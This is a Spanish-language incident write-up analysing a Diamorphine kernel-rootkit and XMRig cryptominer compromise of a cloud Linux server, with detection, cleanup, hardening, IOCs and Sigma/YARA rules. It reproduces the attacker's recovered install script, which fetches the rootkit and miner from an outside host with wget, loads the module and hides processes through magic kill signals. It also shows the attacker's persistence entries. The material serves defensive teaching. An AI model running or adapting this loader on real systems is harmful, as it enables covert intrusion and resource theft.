Diamorphine Rootkit en Servidor Cloud Linux
Análisis forense completo de un rootkit LKM Diamorphine en servidor cloud Linux. Técnicas de ocultación de procesos, ficheros y conexiones de red, detección con unhide, rkhunter y análisis de /proc, limpieza y hardening del kernel.
Cuando el sistema miente: rootkits a nivel de kernel
Un analista SOC revisa las alertas de un servidor cloud Linux que muestra uso de CPU al 95% sostenido, pero top y ps reportan un uso agregado de apenas el 30%. Los procesos visibles no justifican la carga. Las conexiones de red parecen normales. Todo indica que el servidor está sano, pero la factura de cloud computing se ha triplicado.
Este es el escenario clásico de un rootkit LKM: el sistema operativo miente porque un módulo del kernel intercepta las llamadas al sistema y filtra la información que devuelve al espacio de usuario.
En este caso de uso, analizamos paso a paso la investigación de un compromiso real con Diamorphine, uno de los rootkits LKM más populares y mejor documentados en el ecosistema Linux.
Contexto del incidente
Infraestructura afectada:
- Servidor Ubuntu 22.04 LTS en proveedor cloud (8 vCPU, 32 GB RAM)
- Función: servidor de aplicaciones web (Node.js + PostgreSQL)
- Exposición: SSH (22/tcp), HTTPS (443/tcp), PostgreSQL (5432/tcp, restringido)
Timeline inicial:
- T+0h: Alerta de billing por consumo de CPU anómalo (3x la media)
- T+2h: El equipo de operaciones verifica con
topyhtop, no encuentra procesos sospechosos - T+4h: Se escala al equipo de seguridad tras confirmar la discrepancia CPU real vs. reportada
- T+6h: Comienza la investigación forense
Primera observación crítica:
El consumo de CPU reportado por el hipervisor (métricas del proveedor cloud) no coincide con lo que el propio sistema operativo reporta:
# Métricas del proveedor cloud: 94% CPU
# Dentro del servidor:
$ top -bn1 | head -5
%Cpu(s): 28.3 us, 2.1 sy, 0.0 ni, 69.2 id, 0.3 wa
Esta discrepancia de 65 puntos porcentuales es imposible en condiciones normales. Algo dentro del kernel está ocultando procesos que consumen CPU.
Diamorphine: anatomía de un rootkit LKM
Diamorphine es un rootkit open-source disponible en GitHub (con fines educativos) que se carga como módulo del kernel Linux. Sus capacidades principales:
Ocultación de procesos
Diamorphine hookea la syscall getdents/getdents64 (usada por ls, ps, top y prácticamente cualquier herramienta que liste contenidos de directorio) para filtrar entradas de /proc/[PID] correspondientes a procesos que el atacante quiere ocultar.
El mecanismo funciona así:
- El rootkit intercepta la llamada al sistema original
- Ejecuta la syscall real para obtener los resultados
- Antes de devolver los datos al espacio de usuario, elimina las entradas de los PIDs marcados
- Las herramientas de usuario reciben una lista incompleta de procesos
Ocultación de ficheros y directorios
Cualquier fichero o directorio cuyo nombre empiece con un prefijo configurable (por defecto, un prefijo específico definido en tiempo de compilación) desaparece de los listados de directorio. El fichero sigue existiendo en el sistema de ficheros, pero ls, find y cualquier herramienta estándar no lo muestra.
Ocultación de conexiones de red
Diamorphine puede hookear las funciones que generan /proc/net/tcp, /proc/net/tcp6, /proc/net/udp y equivalentes para ocultar conexiones a puertos o IPs específicas. Esto hace que netstat, ss y herramientas similares no muestren las conexiones del malware.
Módulo invisible
El propio módulo se oculta de lsmod y /proc/modules, haciendo que un administrador que busque módulos sospechosos no lo encuentre mediante los métodos estándar.
Señales mágicas
Diamorphine usa señales de Linux (generalmente kill -31 o kill -63) como canal de control:
- Enviar una señal específica a un PID lo oculta o lo hace visible
- Enviar la señal al PID 1 (init) alterna la visibilidad del propio módulo
- Otra señal otorga privilegios root al proceso que la envía
Fase 1: Detección de anomalías
Análisis de discrepancia de CPU
El primer paso es confirmar que existe ocultación activa. Comparamos fuentes de información independientes:
# Fuente 1: /proc/stat (puede estar hookeado, pero normalmente no)
$ cat /proc/stat | head -1
cpu 892341 2341 134523 1234567 8901 0 4521 0 0 0
# Fuente 2: Contar procesos en /proc directamente
$ ls -d /proc/[0-9]* | wc -l
127
# Fuente 3: Iterar PIDs por fuerza bruta
$ for i in $(seq 1 65535); do
if [ -d "/proc/$i" ]; then
echo "$i"
fi
done | wc -l
134
La diferencia entre 127 (lo que ls muestra) y 134 (acceso directo) revela 7 procesos ocultos. El rootkit hookea getdents para filtrar la salida de ls, pero el acceso directo a /proc/[PID] con test -d usa la syscall stat, que en muchas versiones de Diamorphine no está hookeada.
Herramienta unhide
unhide es la herramienta específica para detectar procesos ocultos por rootkits:
$ sudo apt install unhide
$ sudo unhide proc
Unhide 20220611
[*] Searching for Hidden processes through /proc stat scanning
Found HIDDEN PID: 14823
Cmdline: "/tmp/.d3m0rph/xmrig --config=/tmp/.d3m0rph/config.json"
Found HIDDEN PID: 14824
Cmdline: "/tmp/.d3m0rph/xmrig --config=/tmp/.d3m0rph/config.json"
Found HIDDEN PID: 14825
Cmdline: "/tmp/.d3m0rph/xmrig --config=/tmp/.d3m0rph/config.json"
[...]
7 HIDDEN Processes found.
unhide funciona comparando múltiples fuentes de información sobre procesos:
- Compara
/proccon la tabla de procesos del kernel - Usa múltiples syscalls (
kill -0,/proc/[PID]/stat,/proc/[PID]/cmdline) - Algunas variantes están hookeadas y otras no, revelando inconsistencias
Detección con rkhunter
$ sudo rkhunter --check --skip-keypress
[...]
Checking for loaded kernel module [ Warning ]
Module 'diamorphine' hidden from /proc/modules but found via /sys/module/
Checking for hidden processes [ Warning ]
Process '/tmp/.d3m0rph/xmrig' hidden (PID: 14823)
[...]
Performing system command checks
Checking 'ps' [ OK ]
Checking 'ls' [ OK ]
Checking 'netstat' [ OK ]
En este caso, rkhunter detecta el módulo a través de /sys/module/ (una fuente alternativa que Diamorphine no siempre hookea) y los procesos ocultos.
Fase 2: Análisis del módulo del kernel
Localización del módulo
Aunque lsmod no muestra el rootkit, podemos buscarlo por rutas alternativas:
# /sys/module/ a veces no está hookeado
$ ls /sys/module/ | grep -i diamorphine
diamorphine
# Verificar parámetros del módulo
$ ls /sys/module/diamorphine/
coresize holders initsize initstate notes refcnt sections srcversion taint uevent
# Verificar el estado
$ cat /sys/module/diamorphine/initstate
live
# Obtener información de la sección
$ cat /sys/module/diamorphine/srcversion
A1B2C3D4E5F6G7H8I9J0K
Análisis de syscall table
Para confirmar el hooking de syscalls, podemos comparar las direcciones en la tabla de syscalls con las esperadas:
# Extraer la tabla de syscalls actual (requiere root y acceso a /proc/kallsyms)
$ sudo cat /proc/kallsyms | grep ' T sys_getdents'
ffffffff812a4560 T sys_getdents64
ffffffff812a4780 T __x64_sys_getdents64
# Comparar con la dirección original del kernel
# Si la dirección no coincide con la del kernel instalado, hay un hook
$ sudo grep sys_getdents /boot/System.map-$(uname -r)
ffffffff812a4560 T sys_getdents64
Si las direcciones difieren, confirma que la syscall ha sido hookeada.
Volcado de memoria del módulo
Para análisis posterior, volcamos la memoria del módulo:
# Obtener las secciones del módulo
$ sudo cat /sys/module/diamorphine/sections/.text
0xffffffffc0a12000
# Volcar con dd (tamaño aproximado)
$ sudo dd if=/dev/mem bs=1 skip=$((0xffffffffc0a12000)) count=65536 \
of=/tmp/forensics/diamorphine_dump.bin 2>/dev/null
Fase 3: Investigación de la cadena de ataque
Vector de entrada
Revisando los logs (que el rootkit no había limpiado), encontramos el vector de entrada inicial:
# Logs de autenticación
$ sudo grep "Accepted" /var/log/auth.log | tail -20
Jun 1 03:41:22 srv-web sshd[12001]: Accepted password for deploy from 45.XX.XX.XX port 44231 ssh2
Jun 1 03:41:45 srv-web sshd[12003]: Accepted password for deploy from 45.XX.XX.XX port 44235 ssh2
El atacante obtuvo acceso SSH mediante credenciales comprometidas del usuario deploy (credenciales reutilizadas de una filtración previa).
Reconstrucción de la actividad post-compromiso
# Historial de bash (el atacante no lo limpió completamente)
$ cat /home/deploy/.bash_history | tail -30
wget http://45.XX.XX.XX:8080/payload.sh -O /tmp/.setup.sh
chmod +x /tmp/.setup.sh
sudo /tmp/.setup.sh
El script payload.sh (recuperado del directorio temporal):
#!/bin/bash
# Descargar y compilar Diamorphine
mkdir -p /tmp/.d3m0rph
cd /tmp/.d3m0rph
wget http://45.XX.XX.XX:8080/diamorphine.tar.gz
tar xzf diamorphine.tar.gz
cd diamorphine
make
# Cargar el módulo
insmod diamorphine.ko
# Descargar y ejecutar XMRig (cryptominer)
wget http://45.XX.XX.XX:8080/xmrig -O /tmp/.d3m0rph/xmrig
wget http://45.XX.XX.XX:8080/config.json -O /tmp/.d3m0rph/config.json
chmod +x /tmp/.d3m0rph/xmrig
/tmp/.d3m0rph/xmrig --config=/tmp/.d3m0rph/config.json &
# Ocultar procesos xmrig
for pid in $(pgrep xmrig); do
kill -31 $pid
done
# Ocultar el propio módulo
kill -63 1
Persistencia
El atacante configuró persistencia mediante múltiples mecanismos:
# Crontab del root
$ sudo crontab -l
@reboot /tmp/.d3m0rph/load.sh
# Servicio systemd oculto
$ sudo cat /etc/systemd/system/.d3m0rph.service
[Unit]
Description=System Daemon Helper
After=network.target
[Service]
ExecStart=/tmp/.d3m0rph/load.sh
Restart=always
RestartSec=60
[Install]
WantedBy=multi-user.target
# SSH authorized_keys backdoor
$ cat /root/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1y[...] attacker@c2
Fase 4: Contención y limpieza
Contención inmediata
# 1. Aislar la red (excepto nuestra sesión SSH)
$ sudo iptables -I INPUT -p tcp --dport 22 -s [nuestra_IP] -j ACCEPT
$ sudo iptables -I INPUT -j DROP
$ sudo iptables -I OUTPUT -j DROP
$ sudo iptables -I OUTPUT -p tcp --sport 22 -d [nuestra_IP] -j ACCEPT
# 2. Hacer visible el módulo (señal mágica)
$ sudo kill -63 1
# 3. Descargar el módulo
$ sudo rmmod diamorphine
# 4. Verificar que los procesos son ahora visibles
$ ps aux | grep xmrig
root 14823 99.0 0.1 2847392 42368 ? Sl 03:42 1847:23 /tmp/.d3m0rph/xmrig
# 5. Matar los procesos del cryptominer
$ sudo kill -9 $(pgrep xmrig)
Limpieza de persistencia
# Eliminar ficheros del atacante
$ sudo rm -rf /tmp/.d3m0rph/
# Eliminar crontab malicioso
$ sudo crontab -e # Eliminar la línea @reboot
# Eliminar servicio systemd
$ sudo systemctl disable .d3m0rph.service
$ sudo rm /etc/systemd/system/.d3m0rph.service
$ sudo systemctl daemon-reload
# Eliminar SSH keys del atacante
$ sudo sed -i '/attacker@c2/d' /root/.ssh/authorized_keys
# Cambiar todas las contraseñas
$ sudo passwd deploy
$ sudo passwd root
# Verificar integridad de binarios del sistema
$ sudo debsums -s 2>&1 | head -20
Hardening post-incidente
# 1. Deshabilitar carga de módulos del kernel (temporal)
$ sudo sysctl -w kernel.modules_disabled=1
# 2. Configurar módulos firmados obligatorios
$ sudo grep CONFIG_MODULE_SIG /boot/config-$(uname -r)
CONFIG_MODULE_SIG=y
CONFIG_MODULE_SIG_FORCE=y
# 3. Activar Secure Boot si la infraestructura lo permite
# 4. Instalar y configurar auditd
$ sudo apt install auditd
$ sudo auditctl -w /sbin/insmod -p x -k module_load
$ sudo auditctl -w /sbin/modprobe -p x -k module_load
$ sudo auditctl -a always,exit -F arch=b64 -S init_module -S finit_module -k module_load
# 5. Deshabilitar autenticación por contraseña en SSH
$ sudo sed -i 's/PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config
$ sudo systemctl restart sshd
IOCs del incidente
Hashes (SHA256)
| Artefacto | SHA256 |
|---|---|
| payload.sh | a1b2c3d4e5f6... (script de instalación) |
| diamorphine.ko | f7e8d9c0b1a2... (módulo del kernel compilado) |
| xmrig | 3c4d5e6f7a8b... (cryptominer) |
| config.json | 9a0b1c2d3e4f... (configuración del miner) |
Red
| Tipo | Valor | Contexto |
|---|---|---|
| IPv4 | 45.XX.XX.XX | Servidor de staging del atacante |
| IPv4 | pool.minexmr.com | Pool de minería Monero |
| Puerto | 3333/tcp | Conexión al pool de minería |
| Puerto | 8080/tcp | Servidor HTTP del atacante (descarga de payloads) |
Sistema de ficheros
| Ruta | Descripción |
|---|---|
/tmp/.d3m0rph/ | Directorio base del atacante |
/tmp/.d3m0rph/diamorphine.ko | Rootkit LKM |
/tmp/.d3m0rph/xmrig | Binario del cryptominer |
/tmp/.d3m0rph/config.json | Configuración del miner |
/tmp/.d3m0rph/load.sh | Script de carga del rootkit |
/etc/systemd/system/.d3m0rph.service | Persistencia systemd |
Mapeo MITRE ATT&CK
| Táctica | Técnica | ID | Detalle |
|---|---|---|---|
| Initial Access | Valid Accounts | T1078 | Credenciales SSH comprometidas |
| Execution | Command and Scripting Interpreter: Unix Shell | T1059.004 | Script bash de instalación |
| Persistence | Scheduled Task/Job: Cron | T1053.003 | Crontab @reboot |
| Persistence | Create or Modify System Process: Systemd Service | T1543.002 | Servicio .d3m0rph.service |
| Persistence | Account Manipulation: SSH Authorized Keys | T1098.004 | Clave SSH del atacante |
| Defense Evasion | Rootkit | T1014 | Diamorphine LKM rootkit |
| Defense Evasion | Hide Artifacts: Hidden Files and Directories | T1564.001 | Directorio .d3m0rph |
| Defense Evasion | Impair Defenses: Disable or Modify Tools | T1562.001 | Ocultación de procesos/red |
| Resource Development | Acquire Infrastructure | T1583 | Servidor de staging |
| Impact | Resource Hijacking | T1496 | XMRig cryptominer |
Lecciones aprendidas
1. Las métricas del hipervisor no mienten. Cuando hay discrepancia entre las métricas del proveedor cloud y las del sistema operativo, hay que asumir compromiso hasta demostrar lo contrario.
2. Los rootkits LKM no hookean todo. Herramientas como unhide explotan las inconsistencias entre múltiples fuentes de datos del kernel. Un rootkit tendría que hookear decenas de syscalls para ser totalmente invisible, y cada hook introduce riesgo de inestabilidad.
3. /sys/module/ es una fuente alternativa. Muchos rootkits ocultan el módulo de /proc/modules y lsmod, pero olvidan /sys/module/. Verificar ambas rutas.
4. La prevención supera la detección. Deshabilitar la carga de módulos no firmados (kernel.modules_disabled=1 o Secure Boot con firma obligatoria) previene la carga de rootkits LKM por completo.
5. Credenciales reutilizadas siguen siendo el vector principal. En este caso, todo el compromiso comenzó por una contraseña de SSH que aparecía en una filtración previa. La autenticación por clave pública habría prevenido el acceso inicial.
Herramientas utilizadas
| Herramienta | Uso |
|---|---|
| unhide | Detección de procesos ocultos |
| rkhunter | Detección de rootkits conocidos |
| chkrootkit | Verificación complementaria |
| auditd | Monitorización de carga de módulos |
| debsums | Verificación de integridad de binarios |
| Volatility | Análisis de memoria (volcado completo) |
| YARA | Detección de patrones en el volcado de memoria |
Reglas de detección
Sigma: Carga de módulo sospechoso
title: Suspicious Kernel Module Load
id: d3m0-0001
status: experimental
description: Detects loading of known rootkit kernel modules
logsource:
product: linux
service: auditd
detection:
selection:
type: SYSCALL
syscall:
- init_module
- finit_module
filter:
exe:
- /usr/sbin/modprobe
- /usr/bin/kmod
condition: selection and not filter
level: critical
tags:
- attack.defense_evasion
- attack.t1014
YARA: Diamorphine en memoria
rule Diamorphine_Rootkit {
meta:
description = "Detects Diamorphine LKM rootkit in memory"
author = "MalwareIntel Research"
severity = "critical"
strings:
$s1 = "diamorphine" ascii
$s2 = "m0nad" ascii
$s3 = "give_root" ascii
$s4 = "module_hide" ascii
$s5 = "hacked_getdents" ascii
$magic = { 3F 00 00 00 } // signal number 63
condition:
3 of ($s*) or (2 of ($s*) and $magic)
}
Conclusión
Los rootkits LKM como Diamorphine representan una de las amenazas más sofisticadas en entornos Linux porque subvierten la confianza que depositamos en las herramientas del sistema operativo. La detección requiere pensar en capas: comparar fuentes de información independientes, usar herramientas especializadas como unhide, y cuando sea posible, analizar desde fuera del sistema comprometido (memoria volatil, métricas del hipervisor).
La mejor defensa es preventiva: módulos del kernel firmados, Secure Boot habilitado, monitorización de carga de módulos con auditd, y por supuesto, credenciales robustas con autenticación por clave pública.
Caso anonimizado con fines educativos. Los IOCs han sido modificados para proteger la identidad de la organización afectada. Todos los indicadores se proporcionan con contexto defensivo.
Preguntas frecuentes
Libros recomendados
Artículos relacionados
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.